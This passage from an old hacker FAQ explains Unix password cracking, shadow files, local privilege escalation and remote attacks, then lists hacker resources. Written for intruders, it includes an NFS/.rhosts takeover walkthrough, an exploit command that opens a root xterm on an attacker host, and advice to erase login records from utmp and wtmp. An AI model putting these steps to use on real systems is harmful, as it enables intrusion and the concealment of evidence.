  5921.   characters.
  5922.  
  5923.  
  5924.   2255..33..  HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??
  5925.  
  5926.   Brute force password cracking is simply trying a password of A with
  5927.   the given salt, folowing by B, C, and on and on until every possible
  5928.   character combination is tried. It is very time consuming, but given
  5929.   enough time brute force cracking WILL get the password.
  5930.  
  5931.   There are a few brute force crackers out there for Unix passwords. Any
  5932.   brute force cracker will do -- I personally don't believe in using
  5933.   them as there are other ways to circumvent security than trying a
  5934.   brute force crack on the root password.
  5935.  
  5936.  
  5937.   2255..44..  HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??
  5938.  
  5939.   Dictionary password cracking is the most popular method for cracking
  5940.   Unix passwords. The cracking program will take a word list, and one at
  5941.   a time try to crack one or all of the passwords listed in the password
  5942.   file. Some password crackers will filter and/or mutate the words as
  5943.   they try them, such as substitute numbers for certain letters, add
  5944.   prefixes or suffixes, or switch case or order of letters.
  5945.  
  5946.   The most popular cracking utility is probably Alex Muffet's program
  5947.   that is simply called crack. Crack can be configured by an
  5948.   administrator to periodically run and automagically mail a nastygram
  5949.   to a user with a weak password, or ran in manual mode. Crack can also
  5950.   be configured to run across multiple systems and to use user-definable
  5951.   rules for word manipulate/mutation to maximize dictionary
  5952.   effectiveness -- very flexible. However it is probably too much
  5953.   program for the novice script kiddie.
  5954.  
  5955.   Another popular favorite is John the Ripper, based off of the popular
  5956.   DOS-based Jack the Ripper. Jack had a number of easy-to-use features,
  5957.   and Solar Designer took Jack's interface and developed John. To make
  5958.   things even better, Solar added Crack-like rules, and made sure the
  5959.   code would run on DOS or Unix. Either one is recommended. If you're
  5960.   going to be cracking on a DOS-based machine, use John the Ripper,
  5961.   otherwise either one is fine for Unix (the jury is still out on which
  5962.   one is best for Unix, it really depends on which one you are used to
  5963.   using).
  5964.  
  5965.  
  5966.   2255..55..  HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss aanndd ppaasssswwoorrdd mmaann--
  5967.   aaggeemmeenntt??
  5968.  
  5969.   There are several techniques that a Sys Admin might employ to force
  5970.   users to use better passwords, and several different packages that
  5971.   could be loaded and configured onto most Unix systems to better secure
  5972.   the passwords.
  5973.  
  5974.   One of the first techniques is to enforce password aging. While this
  5975.   varies from system to system, basically password aging states that you
  5976.   can "expire" a password. That way you can force a user to have to
  5977.   change his password periodically.  The security advantage is that if
  5978.   the user changes their password every 30 days, that stolen password
  5979.   file is obsolete after a month (in theory, see the next question).
  5980.   This alone is not real security unless it is used in conjunction with
  5981.   other password techniques.
  5982.  
  5983.   Some systems allow a minimal password length to be specified, certain
  5984.   dictionary words to be disallowed, or even disallow perceived
  5985.   "crackable" passwords. This in combination with password aging can
  5986.   help ensure that a user's password is probably going to be aged and
  5987.   therefore changed before it can be cracked.
  5988.  
  5989.   Another very popular technique is called password "shadowing". This
  5990.   alters the password file entry slightly:
  5991.  
  5992.  
  5993.     nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash
  5994.  
  5995.  
  5996.  
  5997.   Note the ! token in place of the one way encrypted password. This
  5998.   means that the password is located in a different file, typically
  5999.   called the shadow file.  You will also find a * token on some shadow
  6000.   password implementations. On many Unix systems the password file is
  6001.   still located in /etc but called shadow, some systems even place the
  6002.   shadow in a different directory. Here is a chart that lists a few
  6003.   systems, the location of the shadow, and the token.
  6004.  
  6005.  
  6006.  
  6007.   System           Shadow                         Token
  6008.   ---------------  -----------------------------  ----------
  6009.   AIX              /etc/security/passwd           !
  6010.   BSD              /etc/master.passwd             *
  6011.   DG/UX            /etc/tcb/aa/user/              *
  6012.   HP-UX            /.secure/etc/passwd            *
  6013.   IRIX             /etc/shadow                    x
  6014.   Linux            /etc/shadow                    *
  6015.   SCO              /tcb/auth/files/[first letter  *
  6016.                          of username]/[username]
  6017.   SunOS4.1+c2      /etc/security/passwd.adjunct   ##username
  6018.   SunOS 5.x        /etc/shadow                    ##username
  6019.                    [optional NIS+ private
  6020.                          secure maps/tables]
  6021.   System V < 4.2   /etc/shadow                    x
  6022.   System V >= 4.2  /etc/security/* database       x
  6023.  
  6024.  
  6025.  
  6026.   Depending on the system and implementation, an encrypted password may
  6027.   still be allowed in the password field, and lack of ANYTHING in the
  6028.   field implies lack of a password for that account. Some systems (AIX
  6029.   comes to mind) allow you to configure exactly what is allowed and not
  6030.   allowed as far as how the password field is used.
  6031.  
  6032.   It should be noted most modern systems come with password shadowing
  6033.   already set up and configured.
  6034.  
  6035.  
  6036.   2255..66..  SSoo wwhhaatt ccaann II lleeaarrnn wwiitthh aa ppaasssswwoorrdd ffiillee ffrroomm aa hheeaavviillyy sseeccuurreedd
  6037.   ssyysstteemm??
  6038.  
  6039.   Okay, so you've gained access to a system and can see the password
  6040.   file, but it is shadowed. Here is an example:
  6041.  
  6042.  
  6043.     root:!:0:0:root:/root:/bin/tcsh
  6044.     bin:!:1:1:bin:/bin:
  6045.     daemon:!:2:2:daemon:/sbin:
  6046.     adm:!:3:4:adm:/var/adm:
  6047.     lp:!:4:7:lp:/var/spool/lpd:
  6048.     sync:!:5:0:sync:/sbin:/bin/sync
  6049.     shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown
  6050.     halt:!:7:0:halt:/sbin:/sbin/halt
  6051.     mail:!:8:12:mail:/var/spool/mail:
  6052.     news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
  6053.     uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
  6054.     operator:!:0:0:operator:/root:/bin/tcsh
  6055.     games:!:12:100:games:/usr/games:
  6056.     man:!:13:15:man:/usr/man:
  6057.     postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh
  6058.     httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd:
  6059.     nobody:!:65535:100:nobody:/dev/null:
  6060.     ftp:!:404:100::/home/ftp:/bin/nologin
  6061.     nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
  6062.     webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
  6063.     thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
  6064.     dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh
  6065.  
  6066.  
  6067.  
  6068.   Some of the more interesting things about this password file are:
  6069.  
  6070.  
  6071.   +o  User "operator" has a user number of zero, so this user is root
  6072.      equiv.
  6073.   +o  Eight accounts have interactive shells, so you have eight targets
  6074.      for direct shell access.
  6075.  
  6076.   +o  Multiple services, such as news, web, and possibly anonymous ftp
  6077.      are configured on the box.
  6078.  
  6079.   +o  User "nomad" apparently has an older account called "thegnome"
  6080.      which may not be currently in use, making it a prime target for
  6081.      attack.
  6082.  
  6083.   +o  User "webadmin" looks to be an account that is shared among
  6084.      multiple people.
  6085.  
  6086.   +o  The telephone prefix is 525 (fire up the wardialer and look for a
  6087.      modem).
  6088.  
  6089.   +o  Suspicious "dorkus" account. There may exist an account for Fred on
  6090.      another box (check for .rhosts, etc).
  6091.  
  6092.  
  6093.  
  6094.   2266..  UUnniixx LLooccaall AAttttaacckkss
  6095.  
  6096.   This section deals with attacking Unix from a local account or from
  6097.   the console itself.
  6098.  
  6099.  
  6100.   2266..11..  WWhhyy aattttaacckk llooccaallllyy??
  6101.  
  6102.   When you are trying to attack and gain root on a file server, a method
  6103.   to start with is to gain at least limited access on a system. There
  6104.   are large numbers of exploits to "bust root" but many require you have
  6105.   an account on the box. Here is an example attack scenario:
  6106.  
  6107.  
  6108.   +o  Gain access to server lame.nmrc.org via guest account (note to
  6109.      idiots: this is a non-existant example of a server).
  6110.  
  6111.   +o  Note that it's running an older version of Linux.
  6112.  
  6113.   +o  Prowl around on Bugtraq, rootshell, or some other place with
  6114.      exploit code, and find an exploit for one of the outdated or
  6115.      unpatched programs or subsystems.
  6116.  
  6117.   +o  Compile and run it to become root.
  6118.  
  6119.   +o  Brag to all your friends and on IRC so you get caught and go to
  6120.      jail (this step is optional).
  6121.  
  6122.  
  6123.   2266..22..  HHooww ddoo mmoosstt eexxppllooiittss wwoorrkk??
  6124.  
  6125.   There are several different attack techniques you can use from a local
  6126.   account and the handy exploit you are running. Here are a few common
  6127.   ones with extremely simple explanations:
  6128.  
  6129.  
  6130.      MMiissccoonnffiigguurraattiioonn
  6131.         If excessive permission exist on certain directories and files,
  6132.         these can lead to gaining higher levels of access. For example,
  6133.         if /dev/kmem is writable it is possible to rewrite your UID to
  6134.         match root's. Another example would be if a .rhosts file has
  6135.         read/write permissions allowing anyone to write them. Yet
  6136.         another example would be a script launched at startup, cron, or
  6137.         respawned. If this script is editable, you could add commands to
  6138.         run with the same privileges as who started them (particularly
  6139.         for startup rc files this would be as root).
  6140.  
  6141.  
  6142.      PPoooorr SSUUIIDD
  6143.         Sometimes you will find scripts (shell or Perl) that perform
  6144.         certain tasks and run as root. If the scripts are writable by
  6145.         your id, you can edit it and run it. For example I once found a
  6146.         shutdown script world writable. By adding a few lines at the
  6147.         beginning of the script it was possible to have the script
  6148.         create a root shell in /tmp.
  6149.  
  6150.  
  6151.      BBuuffffeerr OOvveerrffllooww
  6152.         Buffer overflows are typically used to spawn root shells from a
  6153.         process running as root. A buffer overflow could occur when a
  6154.         program has a buffer for user-defined data and the user-defined
  6155.         data's length is not checked before the program acts upon it.
  6156.         See the next question for more details.
  6157.  
  6158.  
  6159.      RRaaccee CCoonnddiittiioonnss
  6160.         A Race Condition is when a program creates a short opportunity
  6161.         for evil by opening a small window of vulnerability. For
  6162.         example, a program that alters a sensitive file might use a
  6163.         temporary backup copy of the file during its alteration. If the
  6164.         permissions on that temporary file allow it to be edited, it
  6165.         might be possible to alter it before the program finishes its
  6166.         editing process.
  6167.  
  6168.  
  6169.      PPoooorr TTeemmpp FFiilleess
  6170.         Many programs create temporary files while they run. If a
  6171.         program runs as root and is not careful about where it puts its
  6172.         temp files and what permissions these temp files have, it might
  6173.         be possible to use links to create root-owned files.
  6174.  
  6175.  
  6176.   2266..33..  SSoo hhooww ddooeess aa bbuuffffeerr oovveerrffllooww wwoorrkk??
  6177.  
  6178.   A buffer overflow works as follows:
  6179.  
  6180.   - Program eleetd has unchecked user input and is owned by root.
  6181.   - Hacker creates program that sends user input greater than what eleetd's buffer for the input
  6182.   will hold.
  6183.   - Hacker has made sure that this data when placed upon the stack will alter the next instruction
  6184.   the CPU will execute.
  6185.   - Hacker runs evil program and the hacker's command, /bin/sh, runs as root, dropping the hacker
  6186.   to a shell running as root.
  6187.  
  6188.  
  6189.  
  6190.   For example, if the buffer holds 108 bytes, the hacker creates a
  6191.   program that sends more than 108 bytes to that buffer. By carefully
  6192.   crafting the extra bytes starting at byte 109, the hacker can make the
  6193.   program execute additional commands.
  6194.  
  6195.   For more information on buffer overflows, check out Mudge's tutorial
  6196.   on writing them at http://www.l0pht.com/advisories/bufero.html
  6197.   <http://www.l0pht.com/advisories/bufero.html>, or read this overview
  6198.   in a paper called "Compromised - Buffer Overflows, from Intel to SPARC
  6199.   Version 8", available from http://www.l0pht.com/advisories/bufitos.pdf
  6200.   <http://www.l0pht.com/advisories/bufitos.pdf> (Acrobat version) or
  6201.   http://www.l0pht.com/advisories/buf.ps
  6202.   <http://www.l0pht.com/advisories/buf.ps> (PostScript version). Another
  6203.   fine article appeared in Phrack 49, File 14, called "Smashing The
  6204.   Stack For Fun And Profit" by Aleph One. Phrack issues can be
  6205.   downloaded from http://www.phrack.com <http://www.phrack.com>.
  6206.  
  6207.  
  6208.  
  6209.   2277..  UUnniixx RReemmoottee AAttttaacckkss
  6210.  
  6211.   This section deals with hacking Unix systems remotely.
  6212.  
  6213.  
  6214.   2277..11..  WWhhaatt aarree rreemmoottee hhaacckkss??
  6215.  
  6216.   A remote hack is when you attack the server you are not logged into.
  6217.   Usually this is done from another server, although in some cases you
  6218.   can do it from a regular PC (depending on the operating system).
  6219.  
  6220.   Guessing a user account and password (unless it is a guest account) on
  6221.   a remote system is BARELY considered a "remote hack", so we'll not
  6222.   really cover that. We'll assume you don't know an account name and
  6223.   password on the remote system.
  6224.  
  6225.   Remote hacks come in a couple of different flavors. Usually exploiting
  6226.   an existing service running on the victim's server (which is
  6227.   misconfigured or allows too much access) is the typical exploit.
  6228.   Exporting an NFS mount read/write to anyone might not be a bad thing,
  6229.   but if you can NFS mount directories containing .rhosts files, then it
  6230.   can be a very bad thing.  Also, certain daemons running might be
  6231.   subject to buffer overflows remotely, allowing someone from a remote
  6232.   location run arbitrary commands on the victim's server.
  6233.  
  6234.   Here are a couple of examples:
  6235.  
  6236.  
  6237.   - You are root on a host named badguy.
  6238.   - You discover the host victim is exporting /home2/old read/writable to the world.
  6239.   - You also discover by fingering various accounts that user fred's home directory is
  6240.   /home2/old/fred and he hasn't logged in for months.
  6241.   - Quickly, you create a fred account on badguy.
  6242.   - Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
  6243.   - After you become fred on badguy, you rlogin to victim as fred.
  6244.  
  6245.  
  6246.  
  6247.   Here's another attack involving a buffer overflow:
  6248.  
  6249.  
  6250.   - This remote system is running named.
  6251.   - You have written a named exploit that allows you to send arbitrary commands through
  6252.   the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
  6253.   - You type: sploit victim.nmrc.org "/usr/X11R6/bin/xterm -display badguy.whatever:0"
  6254.   - A window appears on your terminal that is running as root on victim.nmrc.org.
  6255.  
  6256.  
  6257.  
  6258.  
  6259.  
  6260.   2288..  UUnniixx LLooggggiinngg
  6261.  
  6262.   This section contains info regarding logging for Unix.
  6263.  
  6264.  
  6265.   2288..11..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn UUnniixx??
  6266.  
  6267.   Log files for Unix vary from flavor to flavor. But there are a few
  6268.   guidelines as to where these logs are kept.
  6269.  
  6270.  
  6271.   System log files and accounting files are in /var/adm, /var/log, or
  6272.   sometimes /usr/adm.  Common log files include messages, syslog, and on
  6273.   some systems sulog.  Checking /etc/defaults and /etc/syslog.conf may
  6274.   reveil more. Also wtmp, utmp, and lastlog will contain information
  6275.   regarding logins.
  6276.  
  6277.   The most important one will probably be syslog. Most utilities,
  6278.   including security add-on programs can write to syslog, so it make a
  6279.   handy location for dumping info. But bear in mind that there are a lot
  6280.   of processes that might log to separate log files. Here are some
  6281.   potential files to look for:
  6282.  
  6283.  
  6284.   File                 Purpose
  6285.   -------------------  ---------------------------------------
  6286.   /var/spool/cron/log  Cron log file
  6287.   /var/log/maillog     Logs inbound and outbound mail activity
  6288.   /var/spool/lp/log    Log file for printing
  6289.  
  6290.  
  6291.  
  6292.   There are more, but this should give you an idea.
  6293.  
  6294.  
  6295.   2288..22..  HHooww ddoo II eeddiitt//cchhaannggee tthhee lloogg ffiilleess ffoorr UUnniixx??
  6296.  
  6297.   Most of these files are text files and can be easily edited, assuming
  6298.   you have the permission to do so. But some of these files require you
  6299.   to write special tools to edit them, mainly the utmp, wtmp, and
  6300.   possibly lastlog.  A good "universal" editor (meaning it will run on
  6301.   most Unix systems) can be found at
  6302.   http://www.nmrc.org/files/unix/remove.c
  6303.   <http://www.nmrc.org/files/unix/remove.c>. It will allow you to
  6304.   selectively remove entries from these files.
  6305.  
  6306.  
  6307.  
  6308.  
  6309.  
  6310.   2299..  HHaacckkeerr RReessoouurrcceess
  6311.  
  6312.   This section contains information regarding resources for hackers.
  6313.  
  6314.  
  6315.   2299..11..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd WWWWWW llooccaattiioonnss??
  6316.  
  6317.   While there are dozens of WWW sites with information, here is a list
  6318.   of some that deal mainly with security, or with some of the tools
  6319.   discussed in this FAQ.
  6320.  
  6321.   NT: http://www.l0pht.com/l0phtcrack/
  6322.   <http://www.l0pht.com/l0phtcrack/> http://www.somarsoft.com/
  6323.   <http://www.somarsoft.com/> http://www.ntsecurity.com/
  6324.   <http://www.ntsecurity.com/> http://listserv.ntbugtraq.com/
  6325.   <http://listserv.ntbugtraq.com/> http://www.ntresearch.com/
  6326.   <http://www.ntresearch.com/> http://www.ntinternals.com/
  6327.   <http://www.ntinternals.com/> http://www.intrusion.com/
  6328.   <http://www.intrusion.com/> http://www.iss.net/ <http://www.iss.net/>
  6329.   http://samba.anu.edu.au/pub/samba/samba.html
  6330.   <http://samba.anu.edu.au/pub/samba/samba.html>
  6331.   http://home.eunet.no/~pnordahl/ntpasswd/
  6332.   <http://home.eunet.no/~pnordahl/ntpasswd/>
  6333.   http://www.dataprotect.com/ntfrag/
  6334.   <http://www.dataprotect.com/ntfrag/>
  6335.  
  6336.  
  6337.   Netware: http://www.novell.com/ <http://www.novell.com/>
  6338.   http://www.novell.de/ <http://www.novell.de/>
  6339.   http://www.salford.ac.uk/ais/Network/Novell-Faq.html
  6340.   <http://www.salford.ac.uk/ais/Network/Novell-Faq.html>
  6341.   http://mft.ucs.ed.ac.uk/ <http://mft.ucs.ed.ac.uk/>
  6342.   http://www.efs.mq.edu.au/novell/faq
  6343.   <http://www.efs.mq.edu.au/novell/faq> http://occam.sjf.novell.com:8080
  6344.   <http://occam.sjf.novell.com:8080> http://www.safe.net/safety/
  6345.   <http://www.safe.net/safety/> http://www.users.mis.net/~gregmi/
  6346.   <http://www.users.mis.net/~gregmi/>
  6347.   http://www.rad.kumc.edu/share/novell/apps/
  6348.   <http://www.rad.kumc.edu/share/novell/apps/> http://www.cis.ohio-
  6349.   state.edu/hypertext/faq/usenet/netware/security/faq.html
  6350.   <http://www.cis.ohio-
  6351.   state.edu/hypertext/faq/usenet/netware/security/faq.html>
  6352.  
  6353.   Packet Sniffing: http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/
  6354.   <http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/>
  6355.  
  6356.  
  6357.   2299..22..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd UUSSEENNEETT ggrroouuppss??
  6358.  
  6359.   Tons o' newsgroups....
  6360.  
  6361.   Security in general: comp.security.announce comp.security.firewalls
  6362.   comp.security.misc alt.security alt.2600
  6363.  
  6364.   Web stuff: comp.infosystems.www.authoring.cgi
  6365.   comp.infosystems.www.servers.misc comp.infosystems.www.servers.ms-
  6366.   windows
  6367.  
  6368.   NT Security: comp.os.ms-windows.nt.admin.security
  6369.  
  6370.   NT in general: comp.os.ms-windows.networking.misc comp.os.ms-
  6371.   windows.networking.ras comp.os.ms-windows.networking.tcp-ip
  6372.   comp.os.ms-windows.networking.win95 comp.os.ms-
  6373.   windows.networking.windows comp.os.ms-windows.nt.admin.misc
  6374.   comp.os.ms-windows.nt.admin.networking comp.os.ms-windows.nt.advocacy
  6375.   comp.os.ms-windows.nt.announce comp.os.ms-windows.nt.misc comp.os.ms-
  6376.   windows.nt.pre-release comp.os.ms-windows.nt.setup.hardware
  6377.   comp.os.ms-windows.nt.setup.misc comp.os.ms-
  6378.   windows.nt.software.backoffice comp.os.ms-
  6379.   windows.nt.software.compatibility comp.os.ms-
  6380.   windows.nt.software.services comp.os.ms-windows.programmer.networks
  6381.   comp.os.ms-windows.programmer.nt.kernel-mode
  6382.  
  6383.   Netware Security: comp.os.netware.security
  6384.  
  6385.   Netware in general: comp.os.netware.misc comp.os.netware.announce
  6386.   comp.os.netware.connectivity
  6387.  
  6388.   Microsoft's newsgroups: microsoft.public.windowsnt.40beta
  6389.   microsoft.public.windowsnt.apps microsoft.public.windowsnt.domain
  6390.   microsoft.public.windowsnt.dsmnfpnw microsoft.public.windowsnt.fsft
  6391.   microsoft.public.windowsnt.mac microsoft.public.windowsnt.mail
  6392.   microsoft.public.windowsnt.misc microsoft.public.windowsnt.print
  6393.   microsoft.public.windowsnt.protocol.misc
  6394.   microsoft.public.windowsnt.protocol.ras
  6395.   microsoft.public.windowsnt.protocol.tcpip
  6396.   microsoft.public.windowsnt.setup
  6397.  
  6398.  
  6399.   2299..33..  WWhhaatt aarree ssoommee sseeccuurriittyy--rreellaatteedd mmaaiilliinngg lliissttss??
  6400.  
  6401.   The NT-security mailing list:
  6402.  
  6403.   To subscribe, send a message with SUBSCRIBE in the body to ntsecurity-
  6404.   request@iss.net.
  6405.  
  6406.   NT-BugTraq:
  6407.  
  6408.   Like the BugTraq list, this is a full disclosure list. Send "subscribe
  6409.   ntbugtraq firstname lastname" (without the quotes) in the body of a
  6410.   message to listserv@listserv.ntbugtraq.com.
  6411.  
  6412.  
  6413.   2299..44..  WWhhaatt aarree ssoommee ootthheerr FFAAQQss??
  6414.  
  6415.   The NT Security FAQ -- geared toward administrators:
  6416.  
  6417.   http://www.it.kth.se/~rom/ntsec.html
  6418.   <http://www.it.kth.se/~rom/ntsec.html>
  6419.  
  6420.  
  6421.   2299..55..  WWhheerree aarree aallll ooff tthheessee ffiilleess mmeennttiioonneedd iinn tthhee FFAAQQ??
  6422.  
  6423.  
  6424.  
  6425.   Archive          What Is It       Where Is It
  6426.   ---------------- ---------------- -----------------------------------------
  6427.   c50a-nt-0.20.tgz Crack 5.0 for NT http://www.nmrc.org/files/snt/
  6428.   cifs.txt         Hobbit's NetBios http://199.103.168.8:2001/web1/hak/cifs.txt
  6429.                     Paper
  6430.   lc15src.tar.gz   L0phtcrack 1.5   \
  6431.                     for Unix         \
  6432.   lc15exe.zip      L0phtcrack 1.5     \ ftp://dot.ishboo.com/l0pht/
  6433.                     for DOS/NT        / http://www.nmrc.org/files/snt/
  6434.   lc15src.zip      L0phtcrack 1.5    /
  6435.                     DOS/NT source   /
  6436.   L0phtcrack 2.0   Main shareware   http://www.l0pht.com/l0phtcrack/
  6437.                     package
  6438.   windowsnt.tgz    Netbios Auditing ftp://ftp.secnet.com/pub/tools/
  6439.                     Tool 1.0
  6440.   ncnt090.zip      Netcat for NT    http://www.nmrc.org/files/nt/
  6441.   netmonex.tgz     NetMon Exploit   http://www.nmrc.org/files/nt/
  6442.   NTCrack.tar.gz   NT Crack 2.0     http://www.nmrc.org/files/snt/
  6443.   ntfsdos.zip      NTFS Access      http://www.nmrc.org/files/nt/
  6444.   passwd.zip       Passwd           http://wwwthep.physik.uni-mainz.de/~frink
  6445.   pwdump.exe       Password Dump    http://www.nmrc.org/files/snt
  6446.   samba-*          Samba            ftp://samba.anu.edu.au/pub/samba/
  6447.   smbfs-2.0.1.tgz  smbmount         sunsite.unc.edu/pub/Linux/filesystems/smbfs
  6448.   tpu.zip          Therion's        http://www.nmrc.org/files/msdos/
  6449.                     Password Utility
  6450.  
  6451.  
  6452.  
  6453.  
  6454.  
  6455.  
  6456.  
  6457.  
  6458.  
  6459.  
  6460.  
  6461.  
  6462.  
  6463.  
  6464.  
  6465.  
  6466.  
  6467.  
  6468.  
  6469.